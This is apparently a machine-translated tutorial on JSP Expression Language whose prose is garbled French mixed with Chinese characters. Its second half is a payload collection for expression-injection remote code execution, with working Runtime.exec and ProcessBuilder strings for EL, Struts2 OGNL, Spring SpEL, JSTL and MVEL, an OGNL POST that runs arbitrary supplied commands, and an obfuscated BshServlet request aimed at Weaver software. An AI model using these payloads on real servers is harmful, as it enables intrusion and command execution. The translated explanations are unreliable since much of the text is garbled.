Java medium table type racine division du cadre d'installation, parmi lesquels EL table type syllabaire jsp-like langue interne son, stipulations et syllabus jsp copie et suite. Utilisez le type de table EL, peut être utilisé, jsp, calcul, nombre d'enjeux, méthode d'ajustement, enjeux, etc. Son langage de base est «$ {expression de table de variation}».
La plupart de la méthode de formulation Towa jsp Il y a beaucoup de différence, et c'est un peu différent.
<%@ page import="java.util.HashMap" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
String name = "Kozo";
request.setAttribute("name",name);
request.setAttribute("request", "request_name");
session.setAttribute("session", "session_name");
pageContext.setAttribute("page", "page_name");
application.setAttribute("application", "application_name");
HashMap<String, String> map = new HashMap<>();
map.put("my-name", "admin");
request.setAttribute("test", map);
%>
来 Quatre zones de travail individuelles moyenne quantité de changement de recherche:${name}
</br>
<%--Zone d'action--%>
来 requestScope Zone de travail moyenne quantité de changement:${requestScope.request}
</br>
来 sessionScope Milieu de la zone de travail 获 quantité de retrait:${sessionScope.session}
</br>
来 pageScope Milieu de la zone de travail 获 quantité de retrait:${pageScope.page}
</br>
来 applicationScope Zone de travail quantité moyenne de changement:${applicationScope.application}
</br>
来 Montant de changement de code spécial dans la zone de travail:${requestScope.test["my-name"]}
Type | Code |
---|---|
Type arithmétique | +、-(Double),* 、/、div、%、mod、-(Unifié) |
逻 辑 type | and、&&, Ou, signe double tube,!、not |
Type connexe | ==、eq、!=、ne、<、lt、>、gt、<=、le、>=, Ge. Peut donner une autre 值 comparaison avancée, ou donner 尔 type, type de brochette de caractère, type régulier ou type virgule flottante comparaison d'avance de caractère. |
Ciel | vide Opération de marque d'opération vide, disponible et indécise. |
Type conditionnel | A ?B :C. Enracinement A 赋 值 赋 值 B ou C. |
${ns:func(param1, param2, ...)}
Pour le numéro de boîte d'ajustement de formule d'expression de table el requis, utilisez la norme de type entrée taglib
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@taglib prefix="elFunc" uri="http://www.test.com/elFunc" %>
<%
String name = "Kozo";
request.setAttribute("name",name);
%>
Nombre d'ajustements:${elFunc:elFunc(name)}
页 Importation de surface ʻNuméro de réglage: bonjour 张 3`
Table EL interdite pour toutes les stations, web.xml
<jsp-config>
<jsp-property-group>
<url-pattern>*.jsp</url-pattern>
<el-ignored>true</el-ignored>
</jsp-property-group>
</jsp-config>
Cérémonie d'expression de table EL interdite Dans le texte JSP, vous pouvez le faire.
<%@ page isELIgnored="true" %>
Expression de table EL pour interdire l'affichage des mots, affichage TRUE interdit, affichage FALSE interdit.
Expression de table JSP2.0 EL pour les personnes d'âge moyen.
Principes: Toutes les expressions sont disponibles ou réservées en externe. La première rangée est un poc trivial, et après cela, il est sous le même stile.
${pageContext}
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}
${header}
${applicationScope}
${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}
Struts2 OGNL
@[Tous les noms (diamètre d'emballage complet)]@[Nom de la méthode|Nom], Exemple:
@java.lang.String@format('foo %s', 'bar')
Exemple
ActionContext AC = ActionContext.getContext();
String expression = "${(new java.lang.ProcessBuilder('calc')).start()}";
AC.getValueStack().findValue(expression));
Spring SPEL
String expression = "T(java.lang.Runtime).getRuntime().exec(/"calc/")";
String result = parser.parseExpression(expression).getValue().toString();
JSP JSTL_EL
<spring:message text="${/"/".getClass().forName(/"java.lang.Runtime/").getMethod(/"getRuntime/",null).invoke(null,null).exec(/"calc/",null).toString()}">
</spring:message>
Elasticsearch MVEL
String expression = "new java.lang.ProcessBuilder(/"calc/").start();";
Boolean result = (Boolean) MVEL.eval(expression, vars);
[email protected]@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())
Quelqu'un POST
message=(#[email protected]@DEFAULT_MEMBER_ACCESS).(#w=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream()))).(#w.close())&cmd=whoami
Un type de réduction
POST /weaver/bsh.servlet.BshServlet
bsh.script=eval%00("ex"%2b"ec(\\"cmd+/c+calc\\")");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw
Recommended Posts